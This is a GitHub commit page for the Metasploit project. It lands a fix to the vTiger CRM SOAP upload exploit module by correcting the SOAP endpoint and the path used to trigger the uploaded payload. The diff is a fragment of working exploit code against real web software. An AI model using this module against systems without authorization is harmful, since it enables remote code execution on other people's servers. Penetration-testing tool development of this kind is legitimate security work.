Skip to content

Commit 998fa06

Browse files
committed
Land rapid7#2998, @bit4bit's fix for the vtigercrm exploit
2 parents 0b5e617 + 0b27cd1 commit 998fa06

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/multi/http/vtiger_soap_upload.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -98,7 +98,7 @@ def exploit
9898
end
9999

100100
print_status("#{peer} - Executing payload...")
101-
send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0)
101+
send_request_cgi({'uri' => normalize_uri(target_uri.path, file_name)}, 0)
102102
end
103103

104104
def add_attachment_soap(file_name, file_data)
@@ -170,8 +170,9 @@ def check_email_soap(user_name = "", session = "")
170170

171171
def send_soap_request(soap_data)
172172
res = send_request_cgi({
173-
'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'),
173+
'uri' => normalize_uri(target_uri.path, 'vtigerservice.php'),
174174
'method' => 'POST',
175+
'vars_get' => { 'service' => 'outlook' },
175176
'ctype' => 'text/xml; charset=UTF-8',
176177
'data' => soap_data
177178
})

0 commit comments

Comments
 (0)